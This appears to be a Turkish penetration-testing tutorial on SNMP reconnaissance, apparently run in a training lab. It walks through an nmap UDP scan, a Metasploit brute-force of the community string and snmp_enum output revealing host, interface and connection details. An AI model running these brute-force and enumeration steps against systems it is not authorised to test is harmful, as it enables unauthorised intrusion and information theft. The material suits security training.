SNMP Servisine Yönelik Bilgi Toplama ve Saldırı Yöntemleri
SNMP (Simple Network Management Protocol) , aktif ağ cihazları hakkında bilgi toplamak için kullanılır. Switch, Router, Firewall ve hatta işletim sistemleri SNMP ile monitor edilebilir. Network uzmanları SNMP servisi ile, uzak sistemin network trafiği, canlı bağlantılar, config bilgileri, port durumları vs. görüntüleyerek yönetim kolaylığı sağlarlar.
Daha fazla bilgi için, cacti, nagios vb. araçlar incelenebilir.
SNMP v1 ve SNMP v2 protokolleri bir topluluk anahtarı (community string) ile sorgulama yapar ve varsayılan olarak “public” dir. SNMP v3’de ise daha güvenlidir ve kimlik doğrulama seçenekleri mevcuttur. SNMP servisi, varsayılan olarak UDP port 161 den çalışır.
Pentest Çalışmalarında SNMP Servisinin Keşfi
UDP 161 varsayılan portundan çalışan snmp servislerine yönelik keşif çalışması, hedef ip adresinin udp 161 portu sorgulanarak tespit edilebilir.
$ sudo nmap -sU -sV 6.6.6.0/24 -p 161 Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-25 10:41 EEST Nmap scan report for 6.6.6.100 Host is up (0.0063s latency). PORT STATE SERVICE VERSION 161/udp open|filtered snmp MAC Address: 00:0C:29:CF:A1:67 (VMware) Nmap scan report for 6.6.6.104 Host is up (0.062s latency). PORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server (public) MAC Address: 00:1E:8F:AF:AB:23 (Canon) Service Info: Host: MF4500 Series
– 6.6.6.104 snmp servisi açık ve community string ise “public“. Nmap port scanner yazılımı “public” olduğunu tespit edebildi ve bununla SNMP versiyon bilgisinide aldı.
-Fakat, 6.6.6.100 ip adresi için udp 161 açık veya filtrelenmiş olabilir dedi, neden ?
UDP, TCP protokolü gibi durum korumalı bir protokol değildir.Hata mekanizması ICMP ile yapılır. Açık bir UDP portuna bağlantı kurulduğunda, herhangi bir cevap dönmez bağlantı kurmuşsunuzdur. Kapalı bir UDP portuna bağlantı kurmak istediğinizde ise ICMP Port Unreachable mesajı döner. Peki hedef sistemin önünde bir firewall var ve bağlantıları drop ediyorsa ? bu durumda da portun açık yada filtreli olduğunu belirtir nmap.
Bir diğer özel durum ise, hedef snmp servisine ait topluluk anahtarı (community string) bilinmediğinden servisden bilgi alınamıyor.
SNMP Brute Force Saldırıları
SNMP servisine yönelik community string’i brute force saldırısı ile deneme-yanılma yaparak öğrenebiliriz. Brute force saldırısı öncesi, hedefe deneme yapacağımız , tahmin edilebilir snmp community string değerlerini bir text dosyasına girerek saldırıyı başlatabiliriz.
msf > use auxiliary/scanner/snmp/snmp_login msf auxiliary(snmp_login) > set RHOSTS 6.6.6.100 msf auxiliary(snmp_login) > show options Module options (auxiliary/scanner/snmp/snmp_login): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 CHOST no The local client address PASSWORD no The password to test PASS_FILE /opt/framework-3.7.1/msf3/data/wordlists/snmp_default_pass.txt no File containing communities, one per line RHOSTS 6.6.6.100 yes The target address range or CIDR identifier RPORT 161 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USER_AS_PASS true no Try the username as the password for all users VERBOSE true yes Whether to print output for all attempts msf auxiliary(snmp_login) > exploit [*] 6.6.6.100:161 - SNMP - Trying public... [*] 6.6.6.100:161 - SNMP - Trying private... [*] 6.6.6.100:161 - SNMP - Trying 0... [*] 6.6.6.100:161 - SNMP - Trying 0392a0... [*] 6.6.6.100:161 - SNMP - Trying 1234... [*] 6.6.6.100:161 - SNMP - Trying 2read... [*] 6.6.6.100:161 - SNMP - Trying 4changes... ... ... [+] SNMP: 6.6.6.100 community string: 'istanbul' info: 'pf.cehturkiye.com 4226682934 FreeBSD 8.1-RELEASE-p4' [*] Validating scan results from 1 hosts... [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Hedefin snmp communitry string değeri “istanbul“.
SNMP Servisinden Bilgi Toplamak
msf > use auxiliary/scanner/snmp/snmp_enum msf auxiliary(snmp_enum) > show options Module options (auxiliary/scanner/snmp/snmp_enum): Name Current Setting Required Description ---- --------------- -------- ----------- COMMUNITY public yes SNMP Community String RETRIES 1 yes SNMP Retries RHOSTS yes The target address range or CIDR identifier RPORT 161 yes The target port THREADS 1 yes The number of concurrent threads TIMEOUT 1 yes SNMP Timeout VERSION 1 yes SNMP Version <1/2c> msf auxiliary(snmp_enum) > set RHOSTS 6.6.6.100 RHOSTS => 6.6.6.100 msf auxiliary(snmp_enum) > set COMMUNITY istanbul COMMUNITY => istanbul msf auxiliary(snmp_enum) > exploit [*] 6.6.6.100, Connected. [*] System information Host IP : 6.6.6.100 Hostname : pf.cehturkiye.com Description : pf.cehturkiye.com 4226682934 FreeBSD 8.1-RELEASE-p4 Contact : [email protected] Location : cehturkiye Uptime snmp : - Uptime system : 00:00:04.98 System date : - Network information: IP forwarding enabled : yes Default TTL : 64 TCP segments received : 1467 TCP segments sent : 1916 TCP segments retrans : 1 Input datagrams : 5017 Delivered datagrams : 4964 Output datagrams : 3696 Network interfaces: Interface : [ unknown ] em0 Id : 1 Mac Address : 00:0c:29:cf:a1:5d Type : unknown Speed : 1000 Mbps MTU : 1500 In octets : 205526 Out octets : 672 Interface : [ unknown ] em1 Id : 2 Mac Address : 00:0c:29:cf:a1:67 Type : unknown Speed : 1000 Mbps MTU : 1500 In octets : 573980 Out octets : 1451734 Interface : [ unknown ] pflog0 Id : 7 Mac Address : ::::: Type : unknown Speed : 0 Mbps MTU : 33200 In octets : 0 Out octets : 1529 Network IP: Id IP Address Netmask Broadcast 1 0.0.0.0 0.0.0.0 0 3 1.1.1.1 255.255.255.0 1 2 6.6.6.100 255.255.255.0 1 1 6.6.6.191 255.255.255.0 1 5 127.0.0.1 255.0.0.0 1 TCP connections and listening ports: Local address Local port Remote address Remote port State 0.0.0.0 22 0.0.0.0 0 unknown 0.0.0.0 53 0.0.0.0 0 unknown 0.0.0.0 80 0.0.0.0 0 unknown 6.6.6.100 22 6.6.6.64 42153 unknown 6.6.6.191 80 6.6.6.64 54693 unknown Listening UDP ports: Local address Local port 0.0.0.0 0 0.0.0.0 53 0.0.0.0 161 0.0.0.0 514 6.6.6.191 5975 6.6.6.191 43463 6.6.6.191 61547 127.0.0.1 6969 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Yazar: Ozan UÇAR
[email protected]